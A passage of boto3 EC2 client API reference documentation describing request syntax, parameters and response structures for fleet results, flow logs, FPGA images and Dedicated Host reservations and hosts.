into a single Availability Zone. Supported only for fleets of type instant . + + * **MinTargetCapacity** _(integer) --_ + + The minimum target capacity for On-Demand Instances in the fleet. If the minimum target capacity is not reached, the fleet launches no instances. + + * **MaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. + + * **Tags** _(list) --_ + + The tags for an EC2 Fleet resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Errors** _(list) --_ + + Information about the instances that could not be launched by the fleet. Valid only when **Type** is set to instant . + + * _(dict) --_ + + Describes the instances that could not be launched by the fleet. + + * **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + * **Lifecycle** _(string) --_ + + Indicates if the instance that could not be launched was a Spot Instance or On-Demand Instance. + + * **ErrorCode** _(string) --_ + + The error code that indicates why the instance could not be launched. For more information about error codes, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **ErrorMessage** _(string) --_ + + The error message that describes why the instance could not be launched. For more information about error messages, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html.html) . + + * **Instances** _(list) --_ + + Information about the instances that were launched by the fleet. Valid only when **Type** is set to instant . + + * _(dict) --_ + + Describes the instances that were launched by the fleet. + + * **LaunchTemplateAndOverrides** _(dict) --_ + + The launch templates and overrides that were used for launching the instances. The values that you specify in the Overrides replace the values in the launch template. + + * **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + * **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + * **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + * **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + * **Overrides** _(dict) --_ + + Any parameters that you specify override the same parameters in the launch template. + + * **InstanceType** _(string) --_ + + The instance type. + + * **MaxPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + * **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + * **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + * **Priority** _(float) --_ + + The priority for the launch template override. If **AllocationStrategy** is set to prioritized , EC2 Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the override has the lowest priority. + + * **Placement** _(dict) --_ + + The location where the instance launched, if applicable. + + * **GroupName** _(string) --_ + + The name of the placement group that the instance is in. + + * **Lifecycle** _(string) --_ + + Indicates if the instance that was launched is a Spot Instance or On-Demand Instance. + + * **InstanceIds** _(list) --_ + + The IDs of the instances. + + * _(string) --_ + * **InstanceType** _(string) --_ + + The instance type. + + * **Platform** _(string) --_ + + The value is Windows for Windows instances. Otherwise, the value is blank. + + +describe_flow_logs(kwargs_) + +Describes one or more flow logs. To view the information in your flow logs (the log streams for the network interfaces), you must use the CloudWatch Logs console or the CloudWatch Logs API. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFlowLogs) + +**Request Syntax** + +response = client.describe_flow_logs( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + FlowLogIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + One or more filters. + + * deliver-log-status - The status of the logs delivery (SUCCESS | FAILED ). + * log-destination-type - The type of destination to which the flow log publishes data. Possible destination types include cloud-watch-logs and s3 . + * flow-log-id - The ID of the flow log. + * log-group-name - The name of the log group. + * resource-id - The ID of the VPC, subnet, or network interface. + * traffic-type - The type of traffic (ACCEPT | REJECT | ALL ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **FlowLogIds** (_list_) -- + + One or more flow log IDs. + + Constraint: Maximum of 1000 flow log IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FlowLogs': [ + { + 'CreationTime': datetime(2015, 1, 1), + 'DeliverLogsErrorMessage': 'string', + 'DeliverLogsPermissionArn': 'string', + 'DeliverLogsStatus': 'string', + 'FlowLogId': 'string', + 'FlowLogStatus': 'string', + 'LogGroupName': 'string', + 'ResourceId': 'string', + 'TrafficType': 'ACCEPT'|'REJECT'|'ALL', + 'LogDestinationType': 'cloud-watch-logs'|'s3', + 'LogDestination': 'string', + 'LogFormat': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'MaxAggregationInterval': 123 + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **FlowLogs** _(list) --_ + + Information about the flow logs. + + * _(dict) --_ + + Describes a flow log. + + * **CreationTime** _(datetime) --_ + + The date and time the flow log was created. + + * **DeliverLogsErrorMessage** _(string) --_ + + Information about the error that occurred. Rate limited indicates that CloudWatch Logs throttling has been applied for one or more network interfaces, or that you've reached the limit on the number of log groups that you can create. Access error indicates that the IAM role associated with the flow log does not have sufficient permissions to publish to CloudWatch Logs. Unknown error indicates an internal error. + + * **DeliverLogsPermissionArn** _(string) --_ + + The ARN of the IAM role that posts logs to CloudWatch Logs. + + * **DeliverLogsStatus** _(string) --_ + + The status of the logs delivery (SUCCESS | FAILED ). + + * **FlowLogId** _(string) --_ + + The flow log ID. + + * **FlowLogStatus** _(string) --_ + + The status of the flow log (ACTIVE ). + + * **LogGroupName** _(string) --_ + + The name of the flow log group. + + * **ResourceId** _(string) --_ + + The ID of the resource on which the flow log was created. + + * **TrafficType** _(string) --_ + + The type of traffic captured for the flow log. + + * **LogDestinationType** _(string) --_ + + Specifies the type of destination to which the flow log data is published. Flow log data can be published to CloudWatch Logs or Amazon S3. + + * **LogDestination** _(string) --_ + + Specifies the destination to which the flow log data is published. Flow log data can be published to an CloudWatch Logs log group or an Amazon S3 bucket. If the flow log publishes to CloudWatch Logs, this element indicates the Amazon Resource Name (ARN) of the CloudWatch Logs log group to which the data is published. If the flow log publishes to Amazon S3, this element indicates the ARN of the Amazon S3 bucket to which the data is published. + + * **LogFormat** _(string) --_ + + The format of the flow log record. + + * **Tags** _(list) --_ + + The tags for the flow log. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **MaxAggregationInterval** _(integer) --_ + + The maximum interval of time, in seconds, during which a flow of packets is captured and aggregated into a flow log record. + + When a network interface is attached to a [Nitro-based instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances) , the aggregation interval is always 60 seconds (1 minute) or less, regardless of the specified value. + + Valid Values: 60 | 600 + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_fpga_image_attribute(kwargs_) + +Describes the specified attribute of the specified Amazon FPGA Image (AFI). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFpgaImageAttribute) + +**Request Syntax** + +response = client.describe_fpga_image_attribute( + DryRun=True|False, + FpgaImageId='string', + Attribute='description'|'name'|'loadPermission'|'productCodes' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FpgaImageId** (_string_) -- + + **[REQUIRED]** + + The ID of the AFI. + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The AFI attribute. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImageAttribute': { + 'FpgaImageId': 'string', + 'Name': 'string', + 'Description': 'string', + 'LoadPermissions': [ + { + 'UserId': 'string', + 'Group': 'all' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ] + } +} + +**Response Structure** + +* _(dict) --_ + + * **FpgaImageAttribute** _(dict) --_ + + Information about the attribute. + + * **FpgaImageId** _(string) --_ + + The ID of the AFI. + + * **Name** _(string) --_ + + The name of the AFI. + + * **Description** _(string) --_ + + The description of the AFI. + + * **LoadPermissions** _(list) --_ + + The load permissions. + + * _(dict) --_ + + Describes a load permission. + + * **UserId** _(string) --_ + + The AWS account ID. + + * **Group** _(string) --_ + + The name of the group. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + +describe_fpga_images(kwargs_) + +Describes the Amazon FPGA Images (AFIs) available to you. These include public AFIs, private AFIs that you own, and AFIs owned by other AWS accounts for which you have load permissions. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeFpgaImages) + +**Request Syntax** + +response = client.describe_fpga_images( + DryRun=True|False, + FpgaImageIds=[ + 'string', + ], + Owners=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **FpgaImageIds** (_list_) -- + + The AFI IDs. + + * _(string) --_ +* **Owners** (_list_) -- + + Filters the AFI by owner. Specify an AWS account ID, self (owner is the sender of the request), or an AWS owner alias (valid values are amazon | aws-marketplace ). + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * create-time - The creation time of the AFI. + * fpga-image-id - The FPGA image identifier (AFI ID). + * fpga-image-global-id - The global FPGA image identifier (AGFI ID). + * name - The name of the AFI. + * owner-id - The AWS account ID of the AFI owner. + * product-code - The product code. + * shell-version - The version of the AWS Shell that was used to create the bitstream. + * state - The state of the AFI (pending | failed | available | unavailable ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * update-time - The time of the most recent update. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'FpgaImages': [ + { + 'FpgaImageId': 'string', + 'FpgaImageGlobalId': 'string', + 'Name': 'string', + 'Description': 'string', + 'ShellVersion': 'string', + 'PciId': { + 'DeviceId': 'string', + 'VendorId': 'string', + 'SubsystemId': 'string', + 'SubsystemVendorId': 'string' + }, + 'State': { + 'Code': 'pending'|'failed'|'available'|'unavailable', + 'Message': 'string' + }, + 'CreateTime': datetime(2015, 1, 1), + 'UpdateTime': datetime(2015, 1, 1), + 'OwnerId': 'string', + 'OwnerAlias': 'string', + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Public': True|False, + 'DataRetentionSupport': True|False + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **FpgaImages** _(list) --_ + + Information about the FPGA images. + + * _(dict) --_ + + Describes an Amazon FPGA image (AFI). + + * **FpgaImageId** _(string) --_ + + The FPGA image identifier (AFI ID). + + * **FpgaImageGlobalId** _(string) --_ + + The global FPGA image identifier (AGFI ID). + + * **Name** _(string) --_ + + The name of the AFI. + + * **Description** _(string) --_ + + The description of the AFI. + + * **ShellVersion** _(string) --_ + + The version of the AWS Shell that was used to create the bitstream. + + * **PciId** _(dict) --_ + + Information about the PCI bus. + + * **DeviceId** _(string) --_ + + The ID of the device. + + * **VendorId** _(string) --_ + + The ID of the vendor. + + * **SubsystemId** _(string) --_ + + The ID of the subsystem. + + * **SubsystemVendorId** _(string) --_ + + The ID of the vendor for the subsystem. + + * **State** _(dict) --_ + + Information about the state of the AFI. + + * **Code** _(string) --_ + + The state. The following are the possible values: + + * pending - AFI bitstream generation is in progress. + * available - The AFI is available for use. + * failed - AFI bitstream generation failed. + * unavailable - The AFI is no longer available for use. + * **Message** _(string) --_ + + If the state is failed , this is the error message. + + * **CreateTime** _(datetime) --_ + + The date and time the AFI was created. + + * **UpdateTime** _(datetime) --_ + + The time of the most recent update to the AFI. + + * **OwnerId** _(string) --_ + + The AWS account ID of the AFI owner. + + * **OwnerAlias** _(string) --_ + + The alias of the AFI owner. Possible values include self , amazon , and aws-marketplace . + + * **ProductCodes** _(list) --_ + + The product codes for the AFI. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **Tags** _(list) --_ + + Any tags assigned to the AFI. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **Public** _(boolean) --_ + + Indicates whether the AFI is public. + + * **DataRetentionSupport** _(boolean) --_ + + Indicates whether data retention support is enabled for the AFI. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_host_reservation_offerings(kwargs_) + +Describes the Dedicated Host reservations that are available to purchase. + +The results describe all of the Dedicated Host reservation offerings, including offerings that might not match the instance family and Region of your Dedicated Hosts. When purchasing an offering, ensure that the instance family and Region of the offering matches that of the Dedicated Hosts with which it is to be associated. For more information about supported instance types, see [Dedicated Hosts Overview](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/dedicated-hosts-overview.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHostReservationOfferings) + +**Request Syntax** + +response = client.describe_host_reservation_offerings( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxDuration=123, + MaxResults=123, + MinDuration=123, + NextToken='string', + OfferingId='string' +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * instance-family - The instance family of the offering (for example, m4 ). + * payment-option - The payment option (NoUpfront | PartialUpfront | AllUpfront ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxDuration** (_integer_) -- This is the maximum duration of the reservation to purchase, specified in seconds. Reservations are available in one-year and three-year terms. The number of seconds specified must be the number of seconds in a year (365x24x60x60) times one of the supported durations (1 or 3). For example, specify 94608000 for three years. +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. +* **MinDuration** (_integer_) -- This is the minimum duration of the reservation you'd like to purchase, specified in seconds. Reservations are available in one-year and three-year terms. The number of seconds specified must be the number of seconds in a year (365x24x60x60) times one of the supported durations (1 or 3). For example, specify 31536000 for one year. +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. +* **OfferingId** (_string_) -- The ID of the reservation offering. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'OfferingSet': [ + { + 'CurrencyCode': 'USD', + 'Duration': 123, + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'OfferingId': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'UpfrontPrice': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **OfferingSet** _(list) --_ + + Information about the offerings. + + * _(dict) --_ + + Details about the Dedicated Host Reservation offering. + + * **CurrencyCode** _(string) --_ + + The currency of the offering. + + * **Duration** _(integer) --_ + + The duration of the offering (in seconds). + + * **HourlyPrice** _(string) --_ + + The hourly price of the offering. + + * **InstanceFamily** _(string) --_ + + The instance family of the offering. + + * **OfferingId** _(string) --_ + + The ID of the offering. + + * **PaymentOption** _(string) --_ + + The available payment option. + + * **UpfrontPrice** _(string) --_ + + The upfront price of the offering. Does not apply to No Upfront offerings. + + +describe_host_reservations(kwargs_) + +Describes reservations that are associated with Dedicated Hosts in your account. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHostReservations) + +**Request Syntax** + +response = client.describe_host_reservations( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + HostReservationIdSet=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * instance-family - The instance family (for example, m4 ). + * payment-option - The payment option (NoUpfront | PartialUpfront | AllUpfront ). + * state - The state of the reservation (payment-pending | payment-failed | active | retired ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **HostReservationIdSet** (_list_) -- + + The host reservation IDs. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'HostReservationSet': [ + { + 'Count': 123, + 'CurrencyCode': 'USD', + 'Duration': 123, + 'End': datetime(2015, 1, 1), + 'HostIdSet': [ + 'string', + ], + 'HostReservationId': 'string', + 'HourlyPrice': 'string', + 'InstanceFamily': 'string', + 'OfferingId': 'string', + 'PaymentOption': 'AllUpfront'|'PartialUpfront'|'NoUpfront', + 'Start': datetime(2015, 1, 1), + 'State': 'payment-pending'|'payment-failed'|'active'|'retired', + 'UpfrontPrice': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **HostReservationSet** _(list) --_ + + Details about the reservation's configuration. + + * _(dict) --_ + + Details about the Dedicated Host Reservation and associated Dedicated Hosts. + + * **Count** _(integer) --_ + + The number of Dedicated Hosts the reservation is associated with. + + * **CurrencyCode** _(string) --_ + + The currency in which the upfrontPrice and hourlyPrice amounts are specified. At this time, the only supported currency is USD . + + * **Duration** _(integer) --_ + + The length of the reservation's term, specified in seconds. Can be 31536000 (1 year) | 94608000 (3 years) . + + * **End** _(datetime) --_ + + The date and time that the reservation ends. + + * **HostIdSet** _(list) --_ + + The IDs of the Dedicated Hosts associated with the reservation. + + * _(string) --_ + * **HostReservationId** _(string) --_ + + The ID of the reservation that specifies the associated Dedicated Hosts. + + * **HourlyPrice** _(string) --_ + + The hourly price of the reservation. + + * **InstanceFamily** _(string) --_ + + The instance family of the Dedicated Host Reservation. The instance family on the Dedicated Host must be the same in order for it to benefit from the reservation. + + * **OfferingId** _(string) --_ + + The ID of the reservation. This remains the same regardless of which Dedicated Hosts are associated with it. + + * **PaymentOption** _(string) --_ + + The payment option selected for this reservation. + + * **Start** _(datetime) --_ + + The date and time that the reservation started. + + * **State** _(string) --_ + + The state of the reservation. + + * **UpfrontPrice** _(string) --_ + + The upfront price of the reservation. + + * **Tags** _(list) --_ + + Any tags assigned to the Dedicated Host Reservation. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_hosts(kwargs_) + +Describes the specified Dedicated Hosts or all your Dedicated Hosts. + +The results describe only the Dedicated Hosts in the Region you're currently using. All listed instances consume capacity on your Dedicated Host. Dedicated Hosts that have recently been released are listed with the state released . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHosts) + +**Request Syntax** + +response = client.describe_hosts( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + HostIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * auto-placement - Whether auto-placement is enabled or disabled (on | off ). + * availability-zone - The Availability Zone of the host. + * client-token - The idempotency token that you provided when you allocated the host. + * host-reservation-id - The ID of the reservation assigned to this host. + * instance-type - The instance type size that the Dedicated Host is configured to support. + * state - The allocation state of the Dedicated Host (available | under-assessment | permanent-failure | released | released-permanent-failure ). + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **HostIds** (_list_) -- + + The IDs of the Dedicated Hosts. The IDs are used for targeted instance launches. + + * _(string) --_ +* **MaxResults** (_integer_) -- + + The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the returned nextToken value. This value can be between 5 and 500. If maxResults is given a larger value than 500, you receive an error. + + You cannot specify this parameter and the host IDs parameter in the same request. + +* **NextToken** (_string_) -- The token to use to retrieve the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Hosts': [ + { + 'AutoPlacement': 'on'|'off', + 'AvailabilityZone': 'string', + 'AvailableCapacity': { + 'AvailableInstanceCapacity': [ + { + 'AvailableCapacity': 123, + 'InstanceType': 'string', + 'TotalCapacity': 123 + }, + ], + 'AvailableVCpus': 123 + }, + 'ClientToken': 'string', + 'HostId': 'string', + 'HostProperties': { + 'Cores': 123, + 'InstanceType': 'string', + 'InstanceFamily': 'string', + 'Sockets': 123, + 'TotalVCpus': 123 + }, + 'HostReservationId': 'string', + 'Instances': [ + { + 'InstanceId': 'string', + 'InstanceType': 'string', + 'OwnerId': 'string' + }, + ], + 'State': 'available'|'under-assessment'|'permanent-failure'|'released'|'released-permanent-failure'|'pending', + 'AllocationTime': datetime(2015, 1, 1), + 'ReleaseTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'HostRecovery': 'on'|'off', + 'AllowsMultipleInstanceTypes': 'on'|'off', + 'OwnerId': 'string', + 'AvailabilityZoneId': 'string', + 'MemberOfServiceLinkedResourceGroup': True|False + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Hosts** _(list) --_ + + Information about the Dedicated Hosts. + + * _(dict) --_ + + Describes the properties of the Dedicated Host. + + * **AutoPlacement** _(string) --_ + + Whether auto-placement is on or off. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the Dedicated Host. + + * **AvailableCapacity** _(dict) --_ + + Information about the instances running on the Dedicated Host. + + * **AvailableInstanceCapacity** _(list) --_ + + The number of instances that can be launched onto the Dedicated Host depending on the host's available capacity. For Dedicated Hosts that support multiple instance types, this parameter represents the number of instances for each instance size that is supported on the host. + + * _(dict) --_ + + Information about the number of instances that can be launched onto the Dedicated Host. + + * **AvailableCapacity** _(integer) --_ + + The number of instances that can be launched onto the Dedicated Host based on the host's available capacity. + + * **InstanceType** _(string) --_ + + The instance type supported by the Dedicated Host. + + * **TotalCapacity** _(integer) --_ + + The total number of instances that can be launched onto the Dedicated Host if there are no instances running on it. + + * **AvailableVCpus** _(integer) --_ + + The number of vCPUs available for launching instances onto the Dedicated Host. + + * **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + * **HostId** _(string) --_ + + The ID of the Dedicated Host. + + * **HostProperties** _(dict) --_ + + The hardware specifications of the Dedicated Host. + + * **Cores** _(integer) --_ + + The number of cores on the Dedicated Host. + + * **InstanceType** _(string) --_ + + The instance type supported by the Dedicated Host. For example, m5.large . If the host supports multiple instance types, no **instanceType** is returned. + + * **InstanceFamily** _(string) --_ + + The instance family supported by the Dedicated Host. For example, m5 . + + * **Sockets** _(integer) --_ + + The number of sockets on the Dedicated Host. + + * **TotalVCpus** _(integer) --_ + + The total number of vCPUs on the Dedicated Host. + + * **HostReservationId** _(string) --_ + + The reservation ID of the Dedicated Host. This returns a null response if the 